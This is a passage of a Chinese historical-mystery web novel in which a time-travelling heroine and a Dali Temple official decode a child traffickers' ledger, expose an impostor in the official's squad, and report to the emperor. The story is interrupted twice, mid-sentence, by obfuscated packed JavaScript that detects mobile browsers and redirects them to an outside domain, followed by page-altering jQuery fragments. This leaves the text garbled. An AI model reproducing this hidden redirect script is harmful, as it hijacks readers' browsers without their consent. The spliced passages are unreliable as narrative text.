李时丰没有说话,但似乎默许了谢筠熙的建议,他朝两名下人嘱咐:“陆贰,你去再叫些人来,顺道叫他们再给那房间上个封条,我们先回大理寺。” “是!”陆贰立刻回应,飞身往香楼里赶去。 谢筠熙站在原地,望着天上团聚的乌云,如同棋局一般,搅动着满京城的诡谲云涌,又想到了还在大牢里素未谋面的亲爹,心里再次感慨万千。 “就这一个案子,得死不少人吧……” “岂止,自谢相入狱后,这次京中恐怕有人要有大动作。” 李时丰则看着面前逐渐泛起涟漪的池水,闪电发出的光照过他笔挺的鼻梁,在脸颊上落下一片阴影,他抿紧双唇,眼里涌着寻常人无法读懂的情绪。 7. 初露端倪 把尸体运到大理寺的时候,屋外已经从毛毛细雨逐渐变成瓢泼大雨,此刻就快接近夜半子时,谢筠熙只得留在大理寺暂时度过这一夜。 刚到大理寺的时候,李时丰与其下属赶去安置尸体、整理证据和撰写文书,谢筠熙一个人留在侧厅里,掏出那本薄薄的册子继续查看,屋里灯火通明,谢筠熙一页一页翻阅着,仔细辨认册子上的内容。 刚才在香楼的时候,她并没有将这本册子翻完,如今在充足的光线下,谢筠熙发现这本册子似乎并不是唯一一本,册子的封皮虽然破破烂烂,但谢筠熙却在左下角发现了很多奇奇怪怪的竖痕,貌似是某种利器留下的割痕,不是很重的痕迹,不带破坏性,谢筠熙推测那有可能是用来计数的方式,或者是某种特殊的标记,不过结合里面的字迹看来,写这本册子的人显然文化水平并不是很高。 接着她翻到最后一页,却发现与前几页不同,最后一页并没有写满,只有一行字——一主香拍花药,然后就,没有后文了。 总觉得是什么暗语。 谢筠熙敏锐得想到了这个点:总之明天先把这本册子修好吧。 此刻夜已深,谢筠熙开始感到困倦,但她依旧用手支住下巴,边打瞌睡边继续思索着那坨不明字体的含义…… 等她醒过来的时候,天已经亮得不能再亮,睁眼的时候,手里的册子早就消失不见,懒腰伸到一半的谢筠熙发现这件事的那一刻,身上的瞌睡虫一下就被吓得全部飞走,她焦急地寻找着,一抬头,就看见一道红色的身影出现在自己的视线里。 那身影正对着她坐在一把椅子上,翘着二郎腿优哉游哉地看着她,手里还晃着一本熟悉的册子。 “你又偷偷拿走!”谢筠熙的大脑清醒过来,下意识斥责道。 “这本就是本官找到的证据,本官自行收回算什么‘偷偷’?”李时丰慢悠悠地翻着,连正眼都不瞧谢筠熙一下。 “你……”谢筠熙咬牙切齿了一阵,决定好女不跟男斗,不再浪费自己的口水,从蒲团上直接站起来。 谁知刚刚站起来,谢筠熙的膝盖一阵发麻,让她差点当着李时丰的面跪下去,当她及时用手撑住地面的时候,却发现地上莫名多了一团黑不拉几的布料,她干脆又蹲下把那团布料捡起来,似乎是一件披风,上面流光四溢的暗纹,昭示着它的价值不菲。 谢筠熙的脑子里突然涌进一大堆平日里看的古装剧中男主怕女主着凉亲自取下披风为女主盖上的画面,大脑轰然宕机,看向眼前那个潇洒肆意但身形姣好的人,一脸难以掩盖震惊地想:不会吧不会吧……这不会是……李时丰给我盖的吧,母胎solo多年,在现代没有男人给我盖过外套,到了古代有男人给我盖袍子了?没搞错吗?感觉李时丰也没有特别关心我的感觉啊……哦……我懂了,这是在体慰合作伙伴…… “你不是要起来吗,在那愣着做什么?”李时丰放下册子,终于看了一眼谢筠熙,却发现了她精彩纷呈的脸色。 他觉得奇怪,干脆拿上那本册子走向谢筠熙,还没靠近,就看见谢筠熙“噌”一下站起身来,手里举着一团东西,用双手捧着递给李时丰。 李时丰被她突如其来的动作吓了一大跳,还没来得及开口,就听见谢筠熙满含感恩的话语:“小女子竟能在大人身上感受到一丝人文关怀,实乃稀世罕见,此披肩为证,小女子定会牢牢记住。” 李时丰一脸难以言喻地接过谢筠熙递过来的披肩,若有第三人围观,必然会觉得眼前这个画面仿佛什么神圣的交接仪式,而这两个人大抵是脑子有点毛病。 当然,李时丰此刻也是这么想的,他接过之后,就随意地把披肩又往椅子上一扔,丝毫没有爱惜的意思,然后把册子往桌案上一放,扶着额头无奈道:“你昨夜是不是被雨淋傻了,这里——”李时丰指了指脑袋,突然一顿,“你不会以为这披肩是本官给你的盖的吧?” 谢筠熙露出“那不然嘞”的疑惑神情。 “陆贰跟本官你说侧厅没有可以过夜的被褥,被雨淋过之后马上就要风寒发作当长眠了,本官怕大理寺出现第三具尸体,真面目还是前丞相嫡女引起轩然大波,这才跟陆贰说去本官房间里取件披风让他给你送去的。” 李时丰闭上双眼,突然觉得事情不大对劲。 果不其然谢筠熙下一句就:”我没有跟陆副官说过啊?” 一阵沉默过后,两人都恍然大悟。 “我被姓陆的造谣了!” “那小子坑我!” 谢筠熙急忙证明:“大人我身体好得很,不要放大闺中女子都弱不禁风的刻板印象好不好!” 李时丰罕见地没有反驳,只是沉默地思考应该怎么惩罚自己的副官。 谢筠熙见他没有继续掰扯,突然觉得有种占上风的爽感,她仔细回味了一番,又以一副战胜者的姿态坐下来。 “好了!赶紧处理正事吧!先别管陆贰那小子了!”谢筠熙用手指点了点册子,换上了一副正经的面孔。 “咳,行……说说吧,你的发现。”李时丰也坐下。 “我推测,这样的本子,在京城里应该不止一本。”谢筠熙指着封皮的刻痕,“这里,似乎是某种特意留下的痕迹,应该是用来计数或者标记用的。” “嗯,你猜得不错,确是如此,还有吗?”李时丰点点头,示意她继续。 “还有最后一页,上面只有一行字,跟前几页满满当当的记录来看,有些像是还没开始完成这件事或还没有得到某个事物的样子,然后最后的那句话,与前面几页相比,因为没有被划掉显得更加清晰一些,似乎是某种暗语,但我一时之间有些想不起来在哪里看见过……” 谢筠熙皱着眉头将册子翻到了最后一页。 “写这册子的人显然没有上过私塾,看上去识字并不多,并非读书人。”谢妍熙继续分析。 “这册子里的暗语是人牙子的暗语,最后一页的‘一主香’其实是‘一烛香’,而‘拍花药’没有错字,这话解释出来大概的意思就是用迷药拐卖一个长相较为清秀的男孩。”李时丰解释。 “人牙子!前些日子我们碰上的那一帮……还有小明……”这些事情突然连在一起,谢筠熙有些反应过来,将拳头往手里一拍,“小明是他们的下一个目标,但是被我们救了,所以就没有完成这事,所以在册子上也没有被划掉。” “没错,有人雇佣他们特意去拐那个小明,前些日子本官拷问他们,他们背后似乎还有一个十分可怖的势力,但那群人牙子的命对那人来说似乎并不值钱,只是拿钱办事。” 李时丰思索了一阵,突然发问:“昨夜你遇到的那个女子,可有异样?” 谢筠熙如实回答:“那姑娘在听我提到那老鸨之后,似乎十分害怕。” “那老鸨也不简单,香楼的建立,本身就疑点重重,只是到如今我们还不知道它背后真正掌管之人究竟为谁,这件事众说纷纭,等大理寺查到那第二具尸体的身份,本官需要进宫面圣一趟。”李时丰的面色有些凝重。 “那帮拐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326840|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的事跟香楼案肯定有不可脱离的干系,我甚至觉得……谢相可能也……”谢筠熙提起自己的爹,内心五味杂陈,“但谢相应当是受其害者,而非得利者。” “不到真相大白,所有事情都说不准,还需继续查案,包括那份密函的来源,昨日可疑之人的身份,还有……那个叫做小明的小童,必然有怪。”李时丰抵住下巴,这些日子的蛛丝马迹从他脑海中闪过。 “昨日尸身的头找到了吗?”谢筠熙突然想到这个,急忙询问。 “今早你还在那酣然大睡的时候,我们又去了一趟香楼,结果还没有进香楼,就有人跌跌撞撞跑向我们,说自己家后面的河岸泥潭里飘着一个血淋淋的布包,他看到吓个半死,那人家离香楼不远,家后的河似乎是与香楼那池子连着的,我们就赶过去收了那个布包,正是头颅。” 谢筠熙闻言起了一身鸡皮疙瘩,饶是大早上遇上这种事情,也足够把人吓晕过去了。 “如今我们正在调查此人究竟是谁,应当不出两日可以知道结果了。”李时丰看了眼被吓到的谢筠熙,低头暗爽。 “对了!我突然想起来一件很重要的事!”谢筠熙突然拍了下桌子,下一秒被疼得差点弹射起飞,她使劲摸着拍红的地方,“嘶”了几声,突然又神神秘秘地凑近李时丰,“你知道那封密函我是怎么拿到的吗?” 李时丰毫不留情地将她推开,不耐烦地说:“有屁快放,别老凑本官这么近,说不清楚下一瞬你的脖子就别想要了。” “刚刚还在那说怕我成为第三具尸体……口是心非……”谢筠熙在一旁嘟囔,被李时丰送了一记眼刀,这才乖乖坐回去,徐徐道来:“我第一次去香楼,也就是被你莫名其妙碰上那一天,在案发地的屋子里找证据,结果还没找多久,突然进来了一个貌似是香楼的姑娘,吓得我躲到了柜子里。” “你进去之前封条就没有了?”李时丰突然注意到这个问题。 “额……我当时没注意,不过既然我能进去那好像是没有了,那人进来之后,我顺着柜缝偷偷看了几眼,结果发现她从梳妆台底下摸出了一些东西,我当时没敢一直盯着,但是一转眼的功夫,她就从一个美人变成了美男子,后来我不小心弄出了些动静,好像被她发现了,然后就有什么东西飞过来,我以为我完蛋了小命不保,结果她就这么离开了,然后我等她离开后一摸柜壁,就发现了暗格,里面正是那封密函。”谢筠熙解释完这一通,脑袋里的疑问变得更加多。 李时丰却觉得哪里有些异样:“你当时可有听到什么?” “听到了有其他香楼的姑娘在喊‘花芸’,但我现在也有些不太确定喊得究竟是不是她了。” “花昀?你确定是这个名字?”李时丰的表情突然有些怪异。 谢筠熙觉得奇怪,但依旧点了点头:“是的,我想我应该没有听错。” “本官的下属里,也有一个叫‘花yun’的。”李时丰的表情逐渐变得冰冷起来。 “啊?会不会是同名啊?”谢筠熙震惊不已。 “不知,本官需要亲自核实。”说罢李时丰从座上起身,风一般走出了侧厅,周身的气场几乎可以用阴森恐怖来形容。 “哎——我跟你一块去!”谢筠熙追上李时丰。 李时丰转过身,用警示的语气提醒:“你现在没有易容。” “无碍,我有这个。”谢筠熙从怀里掏出那日做的面具,带在脸上。 “随你。”李时丰淡淡抛下这一句,一秒不待赶向正厅。 8. 第二个人是谁 当谢筠熙见到那名叫花昀的下属时,对他的第一印象便是“熟悉”,但当她回想那日在香楼见过的可疑人物,又觉得哪里有些不太相像。 “老大,您找我,有什么事吗?”正在扫地的花昀有些疑惑地冲气势汹汹赶来的李时丰缩了缩脖子。 “你四天前有去过香楼吗?”李时丰问道。 “四天前……没有啊,那个时候老大你不是自己一人孤身前往的吗,您让弟兄们都先乖乖干自己的事……” 李时丰死死盯着花昀的一举一动,企图从里面看出破绽,可再怎么观察,花昀那傻愣愣的样子却不像是装的,这让李时丰很不爽。 谢筠熙也同样在一旁细细观察,她发现眼前这个男子眉清目秀,看上去十分纤瘦,但看他方才扫地的力道与挥动笤帚的频率也并非绣花枕头,是个实打实的练家子。 应当是穿衣显瘦,脱衣有肉那一挂的…… 谢筠熙的思绪逐渐偏移。 “你,过来。” 李时丰的声音突然响起,谢筠熙一下清醒过来,屁颠屁颠跑了过去。 花昀见到这个带着面具的可疑女子皱了皱眉头,但见自己老大并没有什么排斥,便没有说什么。 “怎么,大人需要小的做些什么?”谢筠熙贱兮兮地靠过去,在花昀身边打转。 “你近些看看他,觉得是否有似曾相识之感。”李时丰将谢筠熙稍稍往外拉了拉,“但也别凑这么近。” “好嘞,让小的看看啊……”谢筠熙用手指摩挲着下巴,细细观察起来。 好生清俊挺拔的小伙子,若是扮作姑娘,感觉也不会突兀,方才远看一些,总觉得他像个姑娘,如今凑近看,男性特征都是在的,确实是个男子,可我在香楼瞧见的那个,又像是个女子…… 难道古代的女装大佬就已经如此牛逼了吗? 李时丰在那看着谢筠熙一会挠头,一会抱肩,一会嘴里又发出“啧啧”声,实在有些忍不下去,将谢筠熙一把拉开:“你到底有没有觉得他很熟悉……” 谢筠熙没有搭理李时丰,胳膊刚被松开,又凑上前去,认真地拍了拍花昀的肩膀,伸出大拇指夸赞:“小伙子,你若扮成女子,一定是个绝世大美人!” 李时丰刚要对谢筠熙作出制裁,就听见她这么说了一句,当场愣在原地,而此刻正厅内除了这三人,正巧还有当值的徐柒在口渴正要喝水,正厅的空气里回荡着谢筠熙地那句话,徐柒的水刚进嘴里,全部都喷了出去,紧接着传来剧烈地咳嗽声。 而此刻作为当事人,花昀的笤帚被惊得直接脱手,“哐当”一声摔在了地上,他清俊的面庞瞬间爆红,目瞪口呆地对面前这个口出狂言的女子磕磕绊绊地反驳道:“不是……我……”他看了一眼同样有些宕机的李时丰,咽了口口水继续辩解,“属下怎可扮成女子……属下……属下分明是个铁骨铮铮的男儿……” 谢筠熙拿出食指在空中晃了晃,又自信地叉腰,信誓旦旦地说:“不不不……你看你这腰,你这身材,还有你这张脸,若是稍加装扮一番,再遣到人群里,所有人都会觉得你是个女子!” 李时丰实在听不下去谢筠熙对下属的当众调戏,一把将谢筠熙拉回自己身边:“好了你别说了,回去吧,先把你该干的事干好……” 谢筠熙眼见目的达到,冲李时丰潇洒地挥了挥手,留下一句“好嘞!”便又屁颠屁颠往侧厅跑去。 “噗哈哈哈哈哈哈哈哈哈哈,这女人这张嘴也太会说话了哈哈哈哈哈,她怎么知道我们平时也对小昀这么说过呢哈哈哈哈……” 谢筠熙离开后,正厅里突然传出一阵爆笑,徐柒实在是没有绷住,笑得差点趴到地上,花昀无助地望向李时丰。 李时丰无法,正要摇头,脑子里突然闪过一丝灵光,他也攀住花昀的肩,突然认真地提出疑问:“你昨天在队里吗?” “老大你在说什么啊……我昨天不是被你留下来看门了吗?”花昀依旧不解。 李时丰突然觉得浑身发凉,一阵刺骨的寒冷蹿上脊梁骨,紧接着就是逐渐从心底腾起的怒意,他阴鸷的气场让原本还在傻笑的徐柒一下子站直了身子。 老大一露出这种表情那必然是要见血了…… “徐柒!”李时丰的点名让他心下一惊,不由开始冒汗。 “昨日带队过去的时候,你和陆贰做过清点吗?” 徐柒立刻开始回想,但思来想去,却没能找到什么出错的地方:“老大,确实是做过清点的,花昀……不对!”徐柒突然反应过来,“花昀也在队里!” “不对,那绝对不是我!”花昀一口否决,又拿出对天起誓的态度来,对李时丰保证,“老大您可以去问我昨天一起当值的兄弟,他们可以证明我的清白!” “徐柒,你和陆贰这个月的俸禄别想要了!”李时丰恶狠狠地瞪了徐柒一眼,转身拂袖离去。 “老大……是属下办事不利……属下认罚……”徐柒心惊胆战地向李时丰离开的方向低头认错。 “老徐,到底怎么回事啊?”花昀奇怪地询问。 “昨日你分明是在队伍里的,我还特意检查了每个人的腰牌,通通是在的……”徐柒万分懊悔地陷入回忆。 “你还记得吗花昀,昨天你的腰牌在不在你身上?” 花昀被徐柒探索的目光一惊,但仍旧坚定地回答:“腰牌我一直都是贴身收着的,不可能不见。” “这世上苍蝇不叮无缝的蛋,总有你露出破绽的时候,你看看你现在腰上那块。”徐柒指了指花昀的那块腰牌。 “我看看……”花昀将它摘下,仔细查看一番,“是的……是我的没错,连上面的木纹都一模一样。” “那就怪了,昨天混进队伍里的那个人,他的腰牌又是从哪来的……”徐柒一副想破脑袋也想不通的模样,看上去甚是痛苦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326841|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这腰牌绝无仿制的可能,是要杀头的罪,寻常人不会冒这个风险……除非……做这事的人……他本身就……不是寻常人……”花昀的话说到最后一句,表情变得古怪起来。 正厅的二人一阵沉默,不敢再细想,互相摇了一番头又投入到自己的事情中去。 那边李时丰离去的方向是安置尸体的房间,自打早上将寻人认尸的告示给贴出去,一直到下午掰扯完花昀的事,已有人找上门来,说是死者的好友。 李时丰到场的时候,那传闻中的好友正定定地站在尸身前,有些发愣,他看上去已过而立之年,打扮十分儒雅,看上去是一个读书人。 “你就是此人的好友?”李时丰目光如炬,看向这个满眼无措的人。 “是……没想到阔别许久,再次见到琮德兄,竟是此等情形,悲哉,悲哉……”那人满眼悲情,一副捶胸顿足的遗憾模样。 “此人姓甚名甚,何许人也?”李时丰开门见山地审问。 那人有些哀悼地望了李时丰一眼,认认真真行了个礼才回复:“草民张嵘见过大人,死者是草民的同乡,姓刘,名樟,字琮德,与草民同一年来京城参加科举,但很遗憾的是,草民多年参考,却次次名落孙山,琮德兄同草民一般境遇,加之我二人因是同乡时常一起喝酒聊天,甚是熟稔,可后来琮德兄有一日突然同草民说,找到了比科举还要有用的生存之道,草民怕琮德兄被坑骗,便劝他不要轻信他人泛泛之言,可谁知他与草民大吵一番,那之后我二人便不再相聚,没想到再见……却是如此了……悲哉悲哉……” “你可知他所谓的‘生存之道’是去做些什么?” 李时丰皱着眉听完了张嵘的话,心道:莫不是偷鸡摸狗上不得台面的路径…… “草民实话实说,确是不知道琮德兄究竟做了些什么,只是依着眼下的情景来看,似乎并非‘生存之道’,而是……哎……” 李时丰点了点头,为了防止张嵘又开始“悲哉悲哉”,他当机立断,对张嵘说:“如若还有其他信息,请及时到大理寺上报,此案事关重大,若是办成,好处少不了你……若是有一丝一毫欺瞒,你的小命我也担保不了……” 李时丰一边做着杀头的动作,一边目光阴狠地看向这个读书人,就见他方才一副悲天悯人的模样立刻变了一副面孔,连连向李时丰点头,吓得两股战战,大惊失色。 李时丰轻蔑地望了这人一眼,在心里暗暗嘲讽:不过唯利是图之人罢了。 “好了,若没有别的消息,你可以回去了。” “是是……草民告退……” 那人弓着身子离开了安置尸体的房间,完全没有了方才“与挚友天人永隔,抱憾终身”的悲怆模样,虽然离去时的表情依旧如常,但落在在李时丰眼里,却多了几分窃喜。 他嗤笑一声,又望了一眼那具尸体,转身也离开这个房间,向谢筠熙那屋走去。 9. 面圣 谢筠熙修复册子的这些日子里,李时丰又去了许多趟香楼,将那日雨夜经历的事,向老鸨、姑娘们和一些常客盘问了许久,但却没有问出什么有用的消息。 那老鸨躲躲闪闪始终不肯说实话的模样李时丰几乎可以确认的确不是个善茬,若将香楼深挖起来,恐怕里面牵扯的人和事,远远不止表面上的纸醉金迷这么简单,它背后所存在的势力能在天子眼皮子底下都藏的这么严实,只怕已经不是京中权贵这么简单了。 幽幽灯火之下,李时丰提笔继续撰写文书,他细细回想着此次案件的各处,恍惚之间,那背后之人仿佛在同他发出某种信号:尽管来查……倒要看看……你究竟有几分能耐…… 那声音在空中回荡,李时丰挥了挥手,企图驱散,蛊惑的声音却如同烈焰般全部浇在他心里,让他的心生生燃起一股无法浇灭的火,他忍不住咬住了下唇,犬牙深深刺入唇肉里,直到有咸腥味溢出,他才恍然惊觉,松开牙用手一抹,发现唇瓣已然沁出了殷红的鲜血。 他那双眸里此刻仿若淬满了毒,李时丰死死盯住那时而晃动的烛火,仿佛与心相通,橙黄色的火焰将他带入一种前所未有的兴奋感之中,他突然笑出了声:好……我一定会将此事彻查到底。 隔日起来的时候,谢筠熙是被敲门声吵醒的,她正做着回到现代胡吃海塞的美梦,一阵剧烈的敲门声却把她吓得从床上直接坐了起来。 她揉着尚未清明的眼睛,嘴里骂着:“谁啊我靠,大早上这么……” “烦”字还没有说出口,就看见门口赫然矗立着一尊四处散发黑气的大佛。 最后一个字叫谢筠熙强行吞回了肚子里,她是真的被李时丰的表情狠狠吓了一跳,那乌青的黑眼圈挂在他眼下,配上他此刻臭得跟欠他十万两的神情,又很难不让人怀疑他昨夜是又出去杀人索命去了…… “你……那个……大人……小女子这几日乖乖的……没有作妖啊……真的……大人你信我……”谢筠熙无辜地眨了眨眼。 “你又在说什么东西,本官是来问你册子可有修完。” “啊啊修完了修完了……这不是才刚到卯时,谁想到大人您这么早来取呢……”谢筠熙顶着一头杂乱的毛发,风一般跑进屋里,把几乎完好如初的册子乖乖递给李时丰。 李时丰随手翻了翻,丢下一句:“谢了,本官今日进宫一趟,你待在大理寺,不要乱走动知道吗?” “嗯好……等一下……你说了谢?……不是……你要进宫?”谢筠熙一脸茫然地点头答应,但很快反应过来。 “对,本官要去做准备了,你随意……” 李时丰的声音逐渐飘远,谢筠熙只能站在原地无奈地伸出尔康手,然而并没有什么卵用。 少卿大人就这么潇洒离开了,不带一丝灰尘…… “算了……我自己在大理寺先探探吧……啊!我修了整整三日的结果就这么又被他顺走了……”谢筠熙捂住心口。 不过……那册子少说字迹潦草,只能做一些简单字体的判断,有几页损毁严重,好不容易用浆糊给它重新补到缺页上,又把移位的碎纸给补全,但是因为缺损的内容实在太多,应当读不出什么重要信息,昨夜修复完之后将它重新排页固定了一番应当不会有什么问题……但是……李时丰就这样把它拿给皇帝看……我还什么都没有交代呢……要是他出尔反尔……圣上面前说不出有用的东西……然后这册子要是出点问题……我是不是要完蛋了…… 思及此,谢筠熙的脸色逐渐变得苍白,原本杂乱的毛发被她揉得更加炸,她草草套上外衣,连袜都没来得及穿上,随脚往鞋里一套,抓起桌上的面具带上就匆匆追出门去,一路飞奔向李时丰房间。 这几日被罚早起清扫树木换新落下的旧叶,同时整理杂物的陆贰好不容易将大理寺走廊的草叶打理完,就感受到一阵风飘过,被清扫干净的走廊地面再次被旧叶东一块西一块占领,一个炸毛的不明物体从身边飞过去,陆贰发出一声哀嚎,正要伸手去抓,却连衣角都没有碰到。 他不可置信地望向满地狼藉,委屈得几乎要落泪:“……到,底,是,谁啊啊啊啊啊……” 谢筠熙感觉好像碰到了什么东西,但她来不及反应,保命一事此刻排在她心里的第一名,只能在心里歉疚地道歉:对不住了对不住了兄台……等我解决完此事速来赔罪。 谢筠熙赶到的时候,李时丰正巧在换衣服,门板突然被敲得啪啪响,他还没来得及系上腰带,就不得不去开门,一打开门,一团东西突然扑了进来,将他吓得差点反手抽出放在一旁的横刀,将此物千刀万剐。 “大人!你先别走啊!听我说完啊!”谢筠熙的声音将他的理智拉回了半分,横刀被重新插回剑鞘里。 一低头,就看见谢筠熙狼狈地从地上爬起来的模样,李时丰的眉头已然拧成了“川”字:什么丞相嫡女…… 不好意思,本官以前确实是有刻板印象,谢筠熙说得对……本官应该反思…… 谢筠熙的视角里,她猛抬头的那一瞬间,看到的是衣衫半解的精壮男子身躯若隐若现,长这么大还没见过这副波澜壮阔的景观。 谢筠熙猛得又将头转了回去,义正言辞地红着脸叫道:“是小的唐突了!少卿大人请继续更衣,小的先退下了……” 说罢又维持着扭头的姿势想去再把门推开,却在指尖碰上门的那一瞬被李时丰一把抓住了胳膊,狠狠拽进了屋里。 “痛痛痛!小女子真的知错了!”谢筠熙发出哀嚎。 “闭嘴!很吵,你到底要说什么,快点说,本官还有一刻钟便要出发了。”李时丰不耐烦地扶额催促。 “你你你……你衣服穿好没……”谢筠熙不敢回头正眼瞧李时丰。 一阵窸窸窣窣的声音传来,似乎是系带子的声音,过了一会李时丰的声音才再次传来:“好了……本官今天没心情陪你插科打诨,有事说事。” 谢筠熙这才敢回头,确定入眼的是穿着官服包裹得严严实实的李时丰,这才狠狠松了一口气,自如地坐到李时丰对面,伸出一只手在李时丰面前摊开手掌。 “做什么?”李时丰一脸莫名。 “把册子给我,有些事情我要与你说清楚。”谢筠熙的语气严肃起来。 李时丰不情不愿地把册子从怀里掏出来,没好气地递给谢筠熙。 谢筠熙接过册子,确定它没有被暴力对待,这才小心翼翼打开册子解释:“我昨日翻阅这册子,有些页面已然损毁严重,但是现在可以彻底确定的是,这册子确系人牙子的记录册,前几本可能因为消灭证据被烧了,里页的焦黑痕迹让我这样怀疑,里面的内容,像你说的‘一炷香、拍花药’在前几页也有所记载,应该就不止这一个男童为受害者,而我翻阅前几页,发现里面记得最多的应当是女童,‘花’字是最多的,我猜应该不止是手段的记法,对不对。” 李时丰回答:“你说的不错,‘一枝花’便是指代样貌出众的女童,其中也有‘花’字,而小明遇到我们那一天,本官从客栈一楼上来的时候,看见那些拐子有一个布袋子,里面有很多绳子,这又与他们惯用的一个伎俩一致,应当是先‘拍花药’,再‘打闷棍’,然后装袋子捆上绳子里拖走,小明应当是被特意嘱咐的,但那些女童,大概就是那些人牙子平日里拐的最多的对象了。” “还有那日我们在香楼发现的绳子,应当正是拐卖一事所用的绳子。”李时丰补充道。 “拐了之后呢……卖掉吗?”谢筠熙喃喃自语。 “自然如此。”李时丰点头。 “相貌顶好的,竞价出售;相貌中上的,在勾栏为妓;无人要的……作何?”谢筠熙想到了一些可怖的事情,看向李时丰的双眼有些震颤。 “自然是,取其有用之处,物尽其用。”李时丰的双眼逐渐眯起,“有些手段,与我们审问时用的刑罚没有区别,甚至更加阴狠毒辣。” 李时丰站起身,逐渐靠近满脸错愕的谢筠熙。 “要么将其如牲畜般宰割,要么……挑断手脚筋,戳瞎双眼,弄聋双耳,沿街乞讨,受尽折磨而死。” 李时丰的低语在谢筠熙耳边不断回荡,她捂住耳朵,发出的声音也有些颤抖:“一模一样……从古至今,都是这样吗……畜生……真是连畜生都不如……” 说到最后,谢筠熙有些哽咽,她摘下面具的那一刻,泪水噙满了双眼。 李时丰看见她这副模样,头一次觉得心里有些说不上来的难受,他僵硬地拍了拍谢筠熙肩头,不自觉地放低了语气:“天网恢恢,疏而不漏,他们逃不掉的,放心吧。” “嗯……小的相信大人。” 谢筠熙难得地对李时丰展露真诚的微笑,李时丰被这笑晃了眼,刚要难堪地转过头,有听见一句,“这是我听过的大人说的话里最像人话的一句了。” 狗嘴里吐不出象牙! 李时丰愤愤看了眼快要燃尽的香,在谢筠熙计谋得逞的注视 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是他啊!我怎么撞到这个二傻子了!谢筠熙不得不跟着他老老实实走出少卿房间,如同霜打的茄子般蔫得不行。 与谢筠熙被迫收拾自己闯的祸,窘迫的情形截然不同的,李时丰这边,御书房里面,看完李时丰的汇报,辰帝的怒气逐渐蔓延开来,让在他身边的大太监狠狠捏了一把汗。 “爱卿所说句句属实?”皇帝一开口,公公的汗又流下来几滴。 “臣不敢造假,此为证物,而前些日子臣抓到的那批人牙子,与这册子脱不了干系。” 李时丰恭敬地递上那册子。 “爱卿前些日子说,香楼一事背后有人在全盘操控?”皇帝接过去缓缓翻开,皱着的眉头始终没有展开。 “陛下,这份册子记载的实乃多年来此团伙的拐卖人数及手段,其中女童居多,臣怀疑……” 辰帝缓缓抬眼,与李时丰相视,他压低眉毛,语气里隐隐透出怒意:“拐卖一事,与香楼,香楼一案都有所联系……” 赵砚宸将册子往桌案上一摔。 天子动怒,众人不敢发一言以对,燕公公和满脸凝重的李时丰都跪了下来,就听见天子的一声怒骂:“混账!” 他继续盘问:“所以此事,不仅牵连此次科考举子,还与百姓,群臣都有关是吗?” 李时丰不卑不亢答道:“是,陛下,不仅如此,恐怕与皇亲国戚、朝中重臣亦有所联系。” 听到此言,燕公公的双目几乎要呲裂,他畏畏缩缩望向天子,此刻已然被李时丰的话惊得要昏过去。 他立刻连滚带爬起身,大喊着“陛下”,将摇摇欲坠的辰帝扶住。 赵砚宸看向李时丰的眼神逐渐危险起来:“李爱卿,你可知道你是在质疑谁吗?谁给你这么大的胆子!?” 李时丰半跪在地上,也抬头望向当今天子,眼里没有半分退让:“陛下,臣只相信真相,若能将此案查清,臣愿在所不惜。” “爱卿……你太较真了……”赵砚宸的脸上难得露出了无奈这一神情。 “这样,朕先命爱卿将香楼一案彻查,即日起任何人不得出入此地,其中人员全部交由大理寺盘问,之后的事再从长计议如何?”赵砚宸冲李时丰笑了笑,皇帝眼角的细纹昭示着他的暂时妥协。 “是,陛下,臣遵旨。”李时丰的情绪始终没有什么特别大的波动,但语气却轻松了一些。 直到他又交代了一些简单的细节退下后,燕公公的声音在一片沉默中颤巍巍响起:“陛下,李时丰这样,是否过于……” “罢了罢了,是朕欠他与他们家的……更何况,兹事体大,若此事不给出交代,以这小子的性子,绝不会善罢甘休,生民百姓亦是如此。”赵砚宸叹了一口气。 “是……陛下仁爱,大辰有陛下是大辰的福气。”燕公公接话。 “对了,谢康最近在牢里可算安分?”赵砚宸突然询问。 燕公公一惊,忙回道:“回陛下,谢康在牢中安分如常,并无异样,只是……” “只是什么?”赵砚宸皱眉。 “只是这些个狱卒对他实在有些好得过头了,汤水从未缺漏,去给谢康送饭的狱卒都积极得很……这……”燕公公停顿了一下。 “呵,这老头……罢了罢了,随他们去吧!”赵砚宸突然笑了,摆摆手就这样做了决定。 “是……陛下。”燕公公也跟着圣上一同笑起来。 10. 三只狸奴 李时丰面圣期间,谢筠熙也没有闲着,给陆贰赔罪结束,她回到侧厅收拾完自己,便偷偷溜出自己的房间在大理寺四处晃悠。 古代的空气质量果然比想象中的还要好,谢筠熙感受着清晨的微风与阳光,舒服得再次伸了个懒腰,闲逛的路上有遇到过一些当差的衙役,但对于这个装扮奇怪的女子,他们具是当做没有看见,十分有默契地只处理自己的事情。 李时丰一定是跟他们说了些什么,不过,作为古代牛马,在职场里面对不该好奇的事别好奇竟然是从古至今的真理吗……果然老祖宗的智慧还是有它存在的道理的。 谢筠熙这样想着,晃悠进了一个看管人数显然增多的地方,那间屋子看着黑布隆冬的,什么都看不见,只能看见举着火把的衙役来来回回地进出,她立刻警觉起来,躲在柱子后偷偷观察着这里的一切。 看着像是大理寺狱啊……话说前些日子抓进去的那帮畜生,是不是也在这里…… 